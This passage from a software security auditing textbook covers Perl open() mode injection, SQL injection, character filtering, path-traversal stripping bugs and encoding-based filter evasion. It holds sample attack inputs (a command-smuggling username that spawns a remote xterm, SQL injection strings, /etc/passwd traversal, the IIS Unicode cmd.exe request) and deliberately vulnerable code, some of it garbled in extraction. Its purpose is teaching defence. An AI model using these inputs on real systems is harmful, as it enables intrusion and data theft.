
+< Beginning Open file for read-write access. 

+> Beginning Open file for read-write access; create file if it doesn't 

exist; otherwise, truncate the file. 

>> Beginning Open file for write access but don't truncate; append to 

the end of the file. 

+>> Beginning Open file for read-write access but don't truncate; append 

to the end of the file. 

| Beginning This argument is a command, not a filename. Create a 

pipe to run this command with write access. 

| End This argument is a command, not a filename. Create a 

pipe to run this command with read access. 

 

When no mode characters are specified, the file is opened for just read access, just as 

if the file argument contains a leading <. This programming practice is a dangerous, 

however, because if attackers can specify the filename (or at least the filename's 

leading component), they can choose the mode in which the file is opened! Here's an 

example of a dangerous call: 

open(FH, "$username.txt") || die("$!"); 

 

The second argument contains no leading mode characters, allowing users to specify 

arbitrary mode characters. The most dangerous is the pipe character, which causes 

an arbitrary command to run. For example, by specifying the username as "| xterm d 

1.2.3.4:0;", users can spawn a remote xterm with this script! The same applies if the 

last part of the filename can be specified, as in this example: 

open(FH, "/data/profiles/$username"); 

 

In this case, remote execution could be achieved by specifying a username such as 

"blah; xterm -d 1.2.3.4:0 |". If users can't control the beginning or the end of a 

filename, they can't insert pipes for running commands. 

Note 
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You might think that if attackers controlled a little data in the middle of the file 

argument, they could achieve remote execution by specifying an argument such as 

"blah; xterm d 1.2.3.4:0|%00", using the NUL-byte injection technique. Although this 

technique chops off any characters trailing the variable, Perl doesn't interpret the pipe 

(|) as the last character in the filename, so it doesn't create a pipe. 

 

Also, keep in mind that the +> mode opens a file for read-write access and truncates 

the file to 0 bytes. This mode is somewhat unique because the file can be modified. 

Say untrusted data is supplied as the username variable in the following call: 

open(FH, "+>$username.txt"); 

 

If the username variable begins with a >, the file is opened in append mode and isn't 

truncated. Depending on the application's specifics, this result might have interesting 

implications, such as reading data created by a previous user session. 

Apart from this special case, if a mode is specified for opening the file, the call is safe, 

right? No, there's more! The open() function in Perl also duplicates file descriptors for 

you. If the mode argument is followed by an ampersand (&) and the name of a known 

file handle (STDIN, STDOUT, STDERR), open() duplicates the file descriptor with a 

matching mode (such as a leading < for STDOUT). Additionally, you can specify any file 

descriptor number you want with the syntax &=<fd number>. Take a look at this 

example: 

open(ADMIN, "+>>/data/admin/admin.conf"); 

 

... 

 

open(USER, ">$userprofile"); 

 

This code fragment assumes that the ADMIN file hasn't been closed when the second 

call to open() is made. It enables attackers to write to the /data/admin/admin.conf file. 

They simply need to know the correct file descriptor number and supply it as the 

userprofile value, such as &= if admin.conf is opened as file descriptor 3. Note that 

the open() call might be exploitable in the following example too: 

open(ADMIN, "+>>/data/admin/admin.conf"); 

 

... 

 

open(USER, ">$userprofile.txt"); 
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If attackers can insert NUL bytes, they can supply the userprofile value &=, and the 

file descriptor is duplicated correctly. However, the three-argument version of open() 

would render this code no longer vulnerable because it requires explicitly setting the 

mode in the second parameter. So you can consider three-argument calls to open() to 

be secure, for the most part. 

Auditing Tip 

You might find a vulnerability in which you can duplicate a file descriptor. If you have 

access to an environment similar to one in which the script is running, use lsof or a 

similar tool to determine what file descriptors are open when the process runs. This 

tool should help you see what you might have access to. 

 

 

SQL Queries 

SQL is a standard language for interacting with a relational database management 

system (RDBMS). You most likely encounter SQL in the context of Web applications, 

when examining server-side scripts or applications that process input from browsers 

and issue queries to a back-end database. Incorrect handling of input to these queries 

can result in severe vulnerabilities. This discussion focuses on dynamically 

constructed queries in normal SQL syntax. Chapter 17(? [????.]), "Web Applications," 

expands this coverage to address parameterized queries and stored procedures. 

The most common SQL-related vulnerability is SQL injection. It occurs when input is 

taken from request data (post variables, forms, or cookies) and concatenated into a 

query string issued against the database. Listing 8-20 is a simple example in PHP and 

MySQL. 

Listing 8-20. SQL Injection Vulnerability 

$username = $HTTP_POST_VARS['username']; 

 

 

$password = $HTTP_POST_VARS['passwd']; 

 

$query = "SELECT * FROM logintable WHERE user = '" 

    . $username . "' AND pass = '" . $password. "'"; 

 

... 

 

$result = mysql_query($query); 
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if(!$result) 

    die_bad_login(); 

... 

 

This query is vulnerable to SQL injection because users can supply unfiltered input for 

the passwd and username variables. Attackers could easily submit a string such as 

"bob' OR pass <> 'bob" for both parameters, which results in the following query being 

issued against the database: 

SELECT * from logintable WHERE user = 'bob' 

    OR user <> 'bob' AND pass = 'bob' OR pass <> 'bob' 

 

In this example, attackers take advantage of the script not filtering the single-quote 

character ('), which allows them to supply the closing quote and include their own 

SQL statements. Of course, a single quote isn't the only way to manipulate an SQL 

query. Dealing with unbounded integer fields (or any data not enclosed in quotes) 

might cause problems, too. Developers don't expect these fields to contain 

nonnumeric data, so they often don't check for other data types, particularly if the 

data is taken from a hidden field or cookie. Take a look at this example: 

$order_id = $HTTP_POST_VARS ['hid_order_id']; 

 

$query = "SELECT * FROM orders WHERE id=" 

 

This example is similar to the previous one, except the order_id value is received in 

a hidden variable that should contain an integer value. This statement could be 

compromised by supplying a value such as "1 OR 1=" for hid_order_id. In this case, 

you could expect the application to return all orders in the system. 

Note 

PHP and MySQL provide mechanisms for cleaning strings to help mitigate the risk of 

this attack. Some examples of filtering functions are mysql_real_escape_string(), 

dbx_escape_string(), and pg_escape_string(). However, filtering isn't the most 

reliable method of addressing this issue, as it is still in-band representation and could 

be vulnerable to unforeseen attack vectors and errors in the filtering routines. 

Chapter 17(? [????.]) discusses parameterized queries as an out-of-band query 

method that provides a more effective method of protection. 
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The impact of SQL injection vulnerabilities varies depending on the RDBMS and 

database structure. Some databases limit injected queries to the scope of the initial 

statement; for instance, a vulnerability in an Oracle SELECT statement allows injecting 

only additional SELECTS or function calls. On the other end of the spectrum, some 

databases allow the injected statement almost unlimited functionality; Microsoft SQL 

Server allows terminating the current statement with a semicolon, and then 

appending another statement. 

In many cases, the database contents are attackers' final goal, so they are happy with 

any vulnerability that grants arbitrary database interaction. However, the attack 

could also be extended to the hosting system. Many RDBMS implementations have 

stored procedures for running system commands or arbitrary processes. Attackers 

can use these procedures unless the database session is explicitly denied access. 

Failing that approach, the RDBMS implementation itself might expose vulnerabilities. 

Many stored procedures and functions are implemented in other languages, which 

can expose a host of other potential vulnerabilities (discussed more in Chapter 17(? 

[????.])). 

You might also need to consider truncation issues that could result in SQL injection, as 

in file handling. This error can occur in languages using fixed-size buffers; attackers 

can fill a buffer enough to eliminate trailing clauses. Of course, most developers 

prefer to use languages with counted string classes when handling SQL queries. Still, 

it's worth keeping this attack in mind if you encounter C/C++ front ends that 

manipulate SQL. Listing 8-21 shows an example. 

Listing 8-21. SQL Truncation Vulnerability 

int search_orders(char *post_detail, char *sess_account) 

{ 

    char buf[1024]; 

    int rc; 

    post_detail = escape_sql(post_detail); 

    sess_account = escape_sql(sess_account); 

 

    snprintf(buf, sizeof(buf), 

        "SELECT * FROM orders WHERE detail LIKE " \ 

        "\'%%%s%%\' AND account = \'%s\'", 

        post_detail, sess_account); 

 

    rc = perform_query(buffer); 

 

    free(post_detail); 

    free(sess_account); 

 

    if(rc > 0) 
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        return 1; 

    return 0; 

} 

 

Assume that the search_orders() function in Listing 8-21 allows users to search 

through their own orders, but no one else's. The escape_sql() function prevents users 

from injecting any control characters, and the sess_account variable is provided from 

the session. This means users can manipulate only the length and content of the 

post_detail variable. However, they can pad post_detail with enough percent signs 

(%) that it causes snprintf() to cut off the AND clause that restricts the query to 

current users. The resulting query then retrieves all orders, regardless of the user. 

 

7.4.5 Metacharacter Filtering 

The potential issues associated with metacharacters often necessitates a more 

defensive coding strategy. Generally, this strategy involves attempting to detect 

potential attacks or sanitize input before it's interpreted. There are three basic 

options: 

 Detect erroneous input and reject what appears to be an attack. 

 Detect and strip dangerous characters. 

 Detect and encode dangerous characters with a metacharacter escape 

sequence. 

Each of these options has its uses, and each opens the potential for new 

vulnerabilities. The first two options attempt to eliminate metacharacters outright, so 

they share certain commonalties addressed in the next section. The third option 

involves a number of unique concerns, so it is addressed separately in "Escaping 

Metacharacters." 

Eliminating Metacharacters 

Rejecting illegal requests and stripping dangerous characters are similar strategies; 

they both involve running user data through some sort of sanitization routine, often 

using a regular expression. If the disallowed input is rejected, any request containing 

illegal metacharacters is simply discarded. This approach usually includes some sort 

of error indicating why the input wasn't allowed, as shown in this example: 

if($input_data =~ /[^A-Za-z0-9_ ]/){ 

    print "Error! Input data contains illegal characters!"; 

    exit; 

} 

31051536.html
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In this example, the input_data variable is checked for any character that isn't 

alphanumeric, an underscore, or a space. If any of these characters are found, an 

error is signaled and processing terminates. 

With character stripping, the input is modified to get rid of any violations to the 

restrictions, and then processing continues as normal. Here's a simple modification of 

the previous example: 

$input_data =~ s/[^A-Za-z0-9]/g; 

 

Each option has its strengths and weaknesses. Rejection of dangerous input lessens 

the chance of a breach because fewer things can go wrong in handling. However, a 

high false-positive rate on certain inputs might cause the application to be particularly 

unfriendly. Stripping data elements is more dangerous because developers could 

make small errors in implementing filters that fix up the input stream. However, 

stripping input may be considered more robust because the application can handle a 

wide variety of input without constantly generating errors. 

Both approaches must account for how strong their filter implementation is; if they 

don't catch all the dangerous input, nothing that happens afterward matters much! 

There are two main types of filters: explicit deny filters (black lists) and explicit 

allow filters (white lists). With an explicit deny filter, all data is assumed to be 

legal except the specific characters deemed dangerous. Listing 8-22 is an example of 

an explicit deny filter implementation. 

Listing 8-22. Character Black-List Filter 

int islegal(char *input) 

{ 

    char *bad_characters = "\"\\\|;<>&-*"; 

 

    for(; *input; input++){ 

        if(strchr(bad_characters, *input) 

            return 0; 

    } 

 

    return 1; 

} 

 

As you can see, this filter allows any characters except those in the bad_characters 

set. Conversely, an explicit allow filter checks for characters known to be legal, and 

anything else is assumed illegal, as shown in Listing 8-23. 
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Listing 8-23. Character White-List Filter 

int islegal(char *input) 

{ 

    for(; *input; input++){ 

        if(!isalphanum(*input) && *input != '_' && !isspace(*input)) 

            return 0; 

    } 

 

    return 1; 

} 

 

This example is similar to Listing 8-22, except it's testing for the existence of each 

character in a set of legal characters, as opposed to checking for illegal characters. 

White-list filters are much more restrictive by nature, so they are generally 

considered more secure. When the accept set is large, however, using an explicit 

deny filter might be more appropriate. 

When reviewing code containing filters of either kind, you must determine whether 

the application has failed to account for any dangerous input. To do this, you should 

take these steps: 

1.  Make a list of every input the filter allows. 

2.  Make a list of every input that's dangerous if left in the input stream. 

3.  Check whether there are any results from the intersection of these two lists. 

Step 1 is straightforward and can be done from just reading the code; however, step 

2 might require more creativity. The more knowledge you have about the component 

or program interpreting the data, the more thorough analysis you can perform. It 

follows, therefore, that a good code auditor should be familiar with whatever data 

formats they encounter in an assessment. For example, shell programming and SQL 

are metadata formats commonly used in web applications. 

Insufficient Filtering 

When you already have a thorough knowledge of the formats you deal with, there's 

usually the temptation to not make allowed input lists. You might instead choose to 

draw on your existing knowledge to assess the filter's strength. This approach may be 

adequate, but it also increases your chances of missing subtle vulnerabilities, just as 

the application developer might. For example, take a look at Listing 8-24, which 

demonstrates a filtering vulnerability in the PCNFSD server. 
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Listing 8-24. Metacharacter Vulnerability in PCNFSD 

int suspicious (s) 

char *s; 

{ 

    if(strpbrk(s, ";|&<>`'#!?*()[]^") != NULL) 

        return 1; 

    return 0; 

} 

 

A filter is constructed to strip out dangerous characters before the data is passed to 

popen(). The developers have a fairly complete reject set, but they missed a character. 

Can you see what it is? That's right: it's the newline (('\n') character. If a newline 

character is inserted in the input stream, the shell treats the data before it as one 

command and the data after it as a new command, thus allowing attackers to run 

arbitrary commands. This example is interesting because the newline character is 

often forgotten when filtering data for shell execution issues. People think about other 

command separators, such as semicolons, but often neglect to filter out the newline 

character, demonstrating that even experienced programmers can be familiar with a 

system yet make oversights that result in vulnerabilities. 

Even when you're familiar with a format, you need to keep in mind the different 

implementations or versions of a program. Unique extensions might introduce the 

potential for variations of standard attacks, and data might be interpreted more than 

once with different rules. For example, when sanitizing input for a call to popen(), you 

need to be aware that any data passed to the program being called is interpreted by 

the command shell, and then interpreted again differently by the program that's 

running. 

Character Stripping Vulnerabilities 

There are additional risks when stripping illegal characters instead of just rejecting 

the request. The reason is that there are more opportunities for developers to make 

mistakes. In addition to missing potentially dangerous characters, they might make 

mistakes in implementing sanitization routines. Sometimes implementations are 

required to filter out multicharacter sequences; for example, consider a CGI script 

that opens a file in a server-side data directory. The developers want to allow users to 

open any file in this directory, and maybe even data in subdirectories below that 

directory. Therefore, both dot (.) and slash (/) are valid characters. They certainly 

don't want to allow user-supplied filenames outside the data directory, such 

as ../../../etc/passwd; so the developers strip out occurrences of the ../ sequence. 

An implementation for this filter is shown in Listing 8-25. 

Listing 8-25. Vulnerability in Filtering a Character Sequence 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 456 

char *clean_path(char *input) 

{ 

   char *src, *dst; 

 

   for(src = dst = input; *src; ){ 

 

       if(src[0] == '.' && src[1] == '.' && src[2] == '/'){ 

          src += 3; 

           memmove(dst, src, strlen(src)+1); 

           continue; 

       } else 

           *dst++ = *src++; 

   } 

 

   *dst = '\0'; 

 

   return input; 

} 

 

Unfortunately, this filtering algorithm has a severe flaw. When a ../ is encountered, 

it's removed from the stream by copying over the ../ with the rest of the path. 

However, the src pointer is incremented by three bytes, so it doesn't process the 

three bytes immediately following a ../ sequence! Therefore, all an attacker needs to 

do to bypass it is put one double dot exactly after another, because the second one is 

missed. For example, input such as ../../test.txt is converted to ../test.txt. 

Listing 8-26 shows how to fix the incorrect filter. 

Listing 8-26. Vulnerability in Filtering a Character Sequence #2 

char *clean_path(char *input) 

{ 

    char *src, *dst; 

 

    for(src = dst = input; *src; ){ 

 

        if(src[0] == '.' && src[1] == '.' && src[2] == '/'){ 

            memmove(dst, src+3, strlen(src+3)+1); 

            continue; 

        } else 

            *dst++ = *src++; 

    } 

 

    *dst = '\0'; 
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    return input; 

} 

 

Now the algorithm removes ../ sequences, but do you see that there's still a problem? 

What happens if you supply a file argument such as ....//hi? Table 8-2 steps 

through the algorithm. 

Table 8-2. Desk-Check of clean_path with Input ....//hi 

Iteration Input Output 

1 ....//hi . 

2 ...//hi .. 

3 ..//hi .. (Nothing is written) 

4 /hi ../ 

5 hi ../h 

6 i ../hi 

 

This algorithm demonstrates a subtle issue common to many multicharacter filters 

that strip invalid input. By supplying characters around forbidden patterns that 

combine to make the forbidden pattern, you have the filter itself construct the 

malicious input by stripping out the bytes in between. 

Auditing Tip 

When auditing multicharacter filters, attempt to determine whether building illegal 

sequences by constructing embedded illegal patterns is possible, as in Listing 8-26. 

Also, note that these attacks are possible when developers use a single substitution 

pattern with regular expressions, such as this example: 

$path =~ s/\.\.\///g; 

 

This approach is prevalent in several programming languages (notably Perl and PHP). 

 

 

Escaping Metacharacters 
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Escaping dangerous characters differs from other filtering methods because it's 

essentially nondestructive. That is, it doesn't deny or remove metacharacters but 

handles them in a safer form. Escaping methods differ among data formats, but the 

most common method is to prepend an escape metacharacter (usually a backslash) 

to any potentially dangerous metacharacters. This method allows these characters to 

be safely interpreted as a two-character escape sequence, so the application won't 

interpret the metacharacter directly. 

When reviewing these implementations, you need to be mindful of the escape 

character. If this character isn't treated carefully, it could be used to undermine the 

rest of the character filter. For example, the following filter is designed to escape the 

quote characters from a MySQL query using the backslash as an escape 

metacharacter: 

$username =~ s/\"\'\*/\\$1/g; 

$passwd =~ s/\"\'\*/\\$1/g; 

 

... 

 

$query = "SELECT * FROM users WHERE user='" . $username 

  . "' AND pass = '" . $passwd . "'"; 

 

This query replaces dangerous quote characters with an escaped version of the 

character. For example, a username of "bob' OR user <> 'bob" would be replaced with 

"bob\' OR user <> \'bob". Therefore, attackers couldn't break out of the single quotes 

and compromise the application. The regular expression pattern neglects to escape 

the backslash character (\), however, so attackers still have an avenue of attack by 

submitting the following: 

username = bob\' OR username = 

passwd = OR 1= 

 

This input would create the following query after being filtered: 

SELECT * FROM users WHERE user='bob\\' OR username = ' 

  AND pass = ' OR 1= 

 

The MySQL server interprets the double-backslash sequence after bob as an escaped 

backslash. This prevents the inserted backslash from escaping the single quote, 

allowing an attacker to alter the query. 

Note 
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Escape characters vary between SQL implementations. Generally, the database 

supports the slash-quote (\') or double-apostrophe ('') escape sequences. However, 

developers might confuse which escape sequence is supported and accidentally use 

the wrong sequence for the target database. 

 

 

Metacharacter Evasion 

One of the most interesting security ramifications of escaping metacharacters is that 

the encoded characters can be used to avoid other filtering mechanisms. As a code 

auditor, you must determine when data can be encoded in a manner that undermines 

application security. To do this, you must couple decoding phases with relevant 

security decisions and resulting actions in the code. The following steps are a basic 

procedure: 

1.  Identify each location in the code where escaped input is decoded. 

2.  Identify associated security decisions based on that input. 

3.  If decoding occurs after the decision is made, you have a problem. 

To perform this procedure correctly, you need to correlate what data is relevant to the 

action performed after the security check. There's no hard and fast method of tying a 

decoding phase to a security decision, but one thing you need to consider is that the 

more times data is modified, the more opportunities exist for fooling security logic. 

Beyond that, it's just a matter of understanding the code involved in data processing. 

To help build this understanding, the following sections provide specific examples of 

how data encodings are used to evade filters. 

Hexadecimal Encoding 

HTTP is discussed in more detail in later chapters; however, this discussion of 

encoding would be remiss if it didn't address the standard encoding form for URIs and 

query data. For the most part, all alphanumeric characters are transmitted directly 

via HTTP, and all other characters (excluding control characters) are escaped by using 

a three-character encoding scheme. This scheme uses a percent character (%) 

followed by two hexadecimal digits representing the byte value. For example, a space 

character (which has a hexadecimal of 0x20) uses this three-character 

sequence: %20. 

HTTP transactions can also include Unicode characters. Details of Unicode are covered 

in "Character Sets and Unicode(? [????.])" later in this chapter, but for this discussion, 

you just need to remember that Unicode characters can be represented as sequences 
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of one or two bytes. For one-byte sequences, HTTP uses the hexadecimal encoding 

method already discussed. However, for two-byte sequences, Unicode characters can 

be encoded with a six-character sequence consisting of the string %u or %U followed by 

four hexadecimal digits. These digits represent the 16-bit value of a Unicode 

character. These alternate encodings are a potential threat for smuggling dangerous 

characters through character filters. To understand the problem, look at the sample 

code in Listing 8-27. 

Listing 8-27. Hex-Encoded Pathname Vulnerability 

int open_profile(char *username) 

{ 

   if(strchr(username, '/')) { 

       log("possible attack, slashes in username"); 

       return 1; 

   } 

 

   chdir("/data/profiles"); 

 

   return open(hexdecode(username), O_RDONLY); 

} 

 

This admittedly contrived example has a glaring security problem: the username 

variable is checked for slashes (/) before hexadecimal characters are decoded. Using 

the coupling technique described earlier, you can associate decoding phases, security 

decisions, and actions as shown in this list: 

 Decision If username contains a / character, it's dangerous (refer to line 3 in 

Listing 8-27). 

 Decoding Hexadecimal decoding is performed on input after the decision 

(refer to line 10). 

 Action Username is used to open a file (refer to line 10). 

So a username such as ..%2F..%2Fetc%2Fpasswd results in this program opening the 

system password file. Usually, these types of vulnerabilities aren't as obvious. 

Decoding issues are more likely to occur when a program is compartmentalized, and 

individual modules are isolated from the decoding process. Therefore, the developer 

using a decoding module generally isn't aware of what's occurring. 

Note 

Hexadecimal encoding is also a popular method for evading security software (such 

as IDSs) used to detect attacks against Web servers. If an IDS fails to decode 
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hexadecimal encoded requests or decodes them improperly, an attack can be staged 

without generating an alert. 

 

Handling embedded hexadecimal sequences is usually simple. A decoder can 

generally do two things wrong: 

 Skip a NUL byte. 

 Decode illegal characters. 

Earlier in this chapter, you examined a faulty implementation that failed to check for 

NUL bytes (see Listing 8-5(? [????.])). So this coverage will concentrate on the 

second error, decoding illegal characters. This error can happen when assumptions 

are made about the data following a % sign. Two hexadecimal digits are expected 

follow a % sign. Listing 8-28 shows a typical implementation for converting those 

values into data. 

Listing 8-28. Decoding Incorrect Byte Values 

int convert_byte(char byte) 

{ 

    if(byte >= 'A' && byte <= 'F') 

        return (byte  'A') + 10; 

    else if(byte >= 'a' && byte <= 'f') 

        return (byte  'a') + 10; 

    else 

        return (byte  '0'); 

} 

 

int convert_hex(char *string) 

{ 

    int val1, val2; 

 

    val1 = convert_byte(string[0]); 

    val2 = convert_byte(string[1]); 

 

    return (val1 << 4) | val2; 

} 

 

The convert_byte() function is flawed, in that it assumes the byte is a number 

character if it's not explicitly a hexadecimal letter (as shown in the bolded lines). 

Therefore, invalid hex characters passed to this function (including the characters A 

through F) produce unexpected decoded bytes. The security implication of this 
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incorrect decoding is simple; any filters processing the data in an earlier stage miss 

values that can appear in the resulting output stream. 

HTML and XML Encoding 

HTML and XML documents can contain encoded data in the form of entities, which 

are used to encode HTML rendering metacharacters. Entities are constructed by using 

the ampersand sign (&), followed by the entity abbreviation, and terminated with a 

semicolon. For example, to represent an ampersand, the abbreviation is "amp," so 

&amp; is the encoded HTML entity. A complete list of entities is available from the 

World Wide Web Consortium (W3C) site at www.w3c.org. 

Even more interesting, characters can also be encoded as their numeric codepoints in 

both decimal and hexadecimal. To represent a codepoint in decimal, the codepoint 

value is prepended with &#. For example, a space character has the decimal value 32, 

so it's represented as &#32. Hex encoding is similar, except the value is prepended 

with &#x, so the space character (0x20) is represented as &#x20. Two-byte Unicode 

characters can also be specified with five decimal or four hexadecimal digit sequences. 

This encoding form is susceptible to the same basic vulnerabilities that hexadecimal 

decoders might havesuch as embedding NUL characters, evading filters, and 

assuming that at least two bytes follow an &# sequence. 

Note 

Keep in mind that HTML decoding is normally handled by a client browser application. 

However, using this encoding form in XML data does open the possibility of a variety 

of server-directed attacks. 

 

 

Multiple Encoding Layers 

Sometimes data is decoded several times and in several different ways, especially 

when multiple layers of processing are performed before the input is used for its 

intended purpose. Decoding several times makes validation extremely difficult, as 

higher layers see the data in an intermediate format rather than the final unencoded 

content. 

In complex multitiered applications, the fact that input goes through a number of 

filters or conversions might not be immediately obvious, or it might happen only in 

certain conditions. For example, data posted to a HTTP Web server might go through 

base64 decoding if the Content-Encoding header specifies this behavior, UTF-8 

decoding because it's the encoding format specified in the Content-Type header, and 

finally hexadecimal decoding, which occurs on all HTTP traffic. Additionally, if the data 

http://www.w3c.org/
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is destined for a Web application or script, it's entirely possible that it goes through 

another level of hexadecimal decoding. Figure 8-3 shows this behavior. 

Figure 8-3. Encoded Web data 

 

 

Each component involved in decoding is often developed with no regard to other 

components performing additional decoding steps at lower or higher layers, so 

developers might make incorrect judgments on what input should result. 

Vulnerabilities of this nature tie back into previous discussions on design errors. 

Specifically, cross-component problems might happen when an interface to a 

component is known, but the component's exact function is unknown or undefined. 

For example, a Web server module might perform some decoding of request data to 

make security decisions about that decoded data. The data might then undergo 

another layer of decoding afterward, thus introducing the possibility for attackers to 

sneak encoded content through a filter. 
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This example brings up another interesting point: Vulnerabilities of this nature might 

also be a result of operational security flaws. As you learned in Chapter 3(? [????.]), 

"Operational Review," applications don't operate in a vacuum, especially integrated 

pieces of software, such as Web applications. The web server and platform modules 

may provide encoding methods that attackers can use to violate the security of an 

application. 

7.4.6 Character Sets and Unicode 

In the previous section, you were primarily concerned with characters that, when left 

unchecked, might represent a security threat to the application you're reviewing. 

Extending on this idea, now you examine different character set encodings and 

common situations in which they can cause problems. Character set encodings 

determine the sequence of bytes used to represent characters in different languages. 

In the context of security, you're concerned with how conversions between character 

sets affects an application's capability to accurately evaluate data streams and filter 

hostile input. 

Unicode 

The Unicode standard describes characters from any language in a unique and 

unambiguous way. It was primarily intended to address limitations of the ASCII 

character set and the proliferation of potentially incompatible character sets for other 

languages. The result is a standard that defines "a consistent way of encoding 

multilingual text that enables the exchange of text data internationally and creates 

the foundation for global software." The Unicode standard (available at 

www.unicode.org) defines characters as a series of codepoints (numerical values) 

that can be encoded in several formats, each with different size code units. A code 

unit is a single entity as seen by the encoding and decoding routines; each code unit 

size can be represented in either byte orderbig endian (BE) or little endian (LE). Table 

8-3 shows the different encoding formats in Unicode. 

Table 8-3. Unicode Encoding Formats 

Name Code Unit Size (in Bits) Byte Order 

UTF-8 8   

UTF-16BE 16 Big endian 

UTF-16LE 16 Little endian 

UTF-32BE 32 Big endian 

UTF-32LE 32 Little endian 

 

http://www.unicode.org/
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Note that the byte-order specification (BE or LE) can be omitted, in which case a 

byte-order marker (BOM) at the beginning of the input can be used to indicate the 

byte order. 

These encoding schemes are used extensively in HTTP communications for request 

data or XML documents. They are also used in a lot of Microsoft-based software 

because current Windows operating systems use Unicode internally to represent 

strings. Unicode's codespace is 0 to 0x10FFFF, so 16-bit and 8-bit code units might 

not be able to represent an entire Unicode character because of size constraints. 

However, characters can be encoded multibyte streams; that is, several encoded 

bytes in sequence might combine to represent one Unicode character. 

Auditing programs that make use of Unicode characters and Unicode encoding 

schemes require reviewers to verify: 

 Whether characters can be encoded to bypass security checks 

 Whether the implementation of encoding and decoding contains vulnerabilities 

of its own 

The first check requires verifying that characters aren't converted after filter code has 

run to check the input's integrity. For example, a major bug was discovered in the 

Microsoft Internet Information Services (IIS) Web server. It was a result of the Web 

server software failing to decode Unicode escapes before checking whether a user 

was trying to perform a directory traversal (double dot) attack; so it didn't catch 

encoded ../ and ..\ sequences. Users could make the following request: 

GET /..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir 

 

In this way, they could run arbitrary commands with the permissions the Web server 

uses. 

Note 

You can find details of this vulnerability at 

www.microsoft.com/security/technet/bulletin/MS00-078.mspx. 

 

Because many applications use Unicode representation, an attack of this nature is 

always a major threat. Given that a range of encoding schemes are available to 

express data, there are quite a few ways to represent the same codepoint. You 

already know that you can represent a value in 8-, 16-, or 32-bit code units (in either 

byte order), but smaller code units have multiple ways to represent individual code 

points. To understand this better, you need to know more about how code points are 

encoded, explained in the following sections. 

http://www.microsoft.com/security/technet/bulletin/MS00-078.mspx
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UTF-8 

UTF-8 encoded codepoints are represented as single or multibyte sequences. For the 

ranges of values 0x00 to 0x7F, only a single byte is required, so the UTF-8 encoding 

for U.S. ASCII codepoints is identical to ASCII. For other values that can't be 

represented in 7 bits, a lead byte is given followed by a variable number of trailing 

bytes (up to four) that combine to represent the value being encoded. The lead byte 

consists of the highest bit set plus a number of other bits in the most significant word 

that indicate how many bytes are in this multibyte set. So the number of bits set 

contiguously in the lead byte's high word specifies the number of trailing bytes, as 

shown in Table 8-4. 

Table 8-4. UTF-8 Lead-Byte Encoding Scheme 

Bit Pattern Bytes Following 

110x xxxx 1 

1110 xxxx 2 

1111 xxxx 3, 4, or 5 

 

Note 

The bit pattern rules in Table 8-4 are a slight oversimplification, but they are 

adequate for the purposes of this discussion. Interested readers are encouraged to 

browse the current specification at www.unicode.org. 

 

The bits replaced by x are used to hold part of the value being represented. Each 

trailing byte begins with its topmost bits set to 10 and have the least significant 6 bits 

set to hold part of the value being represented. Therefore, it's illegal for a trailing byte 

to be less than 0x80 or greater than 0xBF, and it's also illegal for a lead byte to start 

with 10 (as that would make it indistinguishable from a trailing byte). 

Until recently, you could encode Unicode values with any of the supported multibyte 

lengths you wanted. So, for example, a / character could be represented as 

 0x2F 

 0xC0 0xAF 

 0xE0 0x80 0xAF 

 0xF0 0x80 0x80 0xAF 

The Unicode 3.0 standard, released in 1999, has been revised to allow only the 

shortest form encoding; for instance, the only legal UTF-8 encoding in the preceding 

http://www.unicode.org/
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list is 0x2F. Windows XP and later enforce the shortest-form encoding rule. However, 

not all Unicode implementations are compliant. In particular, ASCII characters are 

often accepted as one- or two-byte sequences, which could be useful in evading 

character filters. For example, a filter searching for slashes in a path argument (0x2F) 

might miss the sequence 0xC0 0xAF; if UTF-8 conversions are performed later, this 

character filter can be completely evaded for any arbitrary ASCII character. 

Note 

Daniel J. Roelker published an interesting paper on combining these different 

multibyte encodings with several other hexadecimal encoding techniques to evade 

IDS filtering of HTTP traffic. It's available at 

http://docs.idsresearch.org/http_ids_evasions.pdf. 

 

 

UTF-16 

UTF-16 expresses codepoints as 16-bit words, which is enough to represent most 

commonly used characters in major languages. However, some characters require 

more than 16 bits. Remember, the codespace for Unicode ranges from 0 to 0x10FFFF, 

and the maximum value a 16-bit integer can represent is 0xFFFF. Therefore, UTF-16 

can also contain multi-unit sequences, so UTF-16 encoded codepoints can be one or 

two units. A codepoint higher than 0xFFFF requires two code units to be expressed 

and is encoded as a surrogate pair; that is, a pair of code units with a special lead bit 

sequence that combines to represent a codepoint. These are the rules for encoding 

Unicode codepoints in UTF-16 (taken from RFC 2781): 

1.  If U < 0x10000, encode U as a 16-bit unsigned integer and terminate. 

2.  Let U' = U - 0x10000. Because U is less than or equal to 0x10FFFF, U' must be less 

than or equal to 0xFFFFF. That is, U' can be represented in 20 bits. 

3.  Initialize two 16-bit unsigned integers, W1 and W2, to 0xD800 and 0xDC00, 

respectively. Each integer has 10 bits free to encode the character value, for a 

total of 20 bits. 

4.  Assign the 10 high-order bits of the 20-bit U' to the 10 low-order bits of W1 and 

the 10 low-order bits of U' to the 10 low-order bits of W2. Terminate. 

Because the constant value 0x100000 is added to the bits read from a surrogate pair, 

you can't encode arbitrary values the way you were able to in UTF-8. With UTF-16 

encoding, there's only one way to represent a codepoint. 

http://docs.idsresearch.org/http_ids_evasions.pdf
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UTF-32 

UTF-32 expresses codepoints as 32-bit value. Because it can represent any codepoint 

in a single value, surrogate pairs are never required, as they are in UTF-8 and UTF-16. 

The only way to alter how a codepoint is represented in UTF-32 encoding is to change 

the data stream's endian format (using the special BOM mentioned after Table 8-3). 

Vulnerabilities in Decoding 

As mentioned, the difficulty with filtering Unicode data correctly is that the same 

value can be represented in many ways by using different word-size encodings, by 

switching byte order, and by abusing UTF-8's unique capability to represent the same 

value in more than one way. An application isn't going to be susceptible to bypassing 

filters if only one data decoding is performedthat is, the data is decoded, checked, and 

then used. However, in the context of HTTP traffic, only one decoding seldom 

happens. Why? Web applications have increased the complexity of HTTP exchanges 

dramatically, and data can often be decoded several times and in several ways. For 

example, the IIS Web server decodes hexadecimal sequences in a request, and then 

later performs UTF-8 decoding on itand then might hand it off to an ISAPI filter or Web 

application that does more hexadecimal decoding on it. 

Note 

You can find excellent information on security issues with Unicode in TR36Unicode 

Security Considerations Technical Report. At the time of this writing, it's available at 

www.unicode.org/reports/tr36/. 

 

 

Homographic Attacks 

Homographic attacks are primarily useful as a form of social engineering; Evgeniy 

Gabrilovich and Alex Gontmakher originally described them in "The Homographic 

